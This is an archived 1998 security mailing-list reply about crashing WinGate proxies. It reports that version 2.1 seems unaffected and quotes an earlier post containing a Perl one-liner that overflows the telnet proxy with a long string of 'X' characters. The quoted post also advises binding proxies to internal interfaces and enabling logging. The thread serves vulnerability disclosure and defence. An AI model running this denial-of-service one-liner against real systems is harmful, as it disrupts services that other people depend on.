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Re: crashing wingates


From: dolittle () israelmail com (Noam Rathaus)
Date: Sun, 15 Nov 1998 19:58:42 +0200


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Hi,

I have to report that WinGate 2.1 seems to be unaffected.

G23 wrote:

Hello,

The following one-liner will crash an open Wingate.

perl -MIO::Socket -e \
'IO::Socket::INET->new(PeerAddr=>"wingate.to.hoze:23")\
->send("X" x 4400 . "\n",0)'

Unfortunately I don't have access to one that I can test,
so I am unable to verify what versions are vulnerable.
The above is my rendition of a 44 line sh script written
by "rEWTED" (kefka () infected org).

Anyone configuring a proxy for LAN use should only bind to an internal
interface anyway.  (IE, kidz shouldn't even see your proxy)
http://wingate.net/helppages/wingate2Securing_your_network.html

If you do provide telnet proxy for the world, then at least log.
http://wingate.net/helppages/wingate2Auditing_and_Logging.html

ghost23

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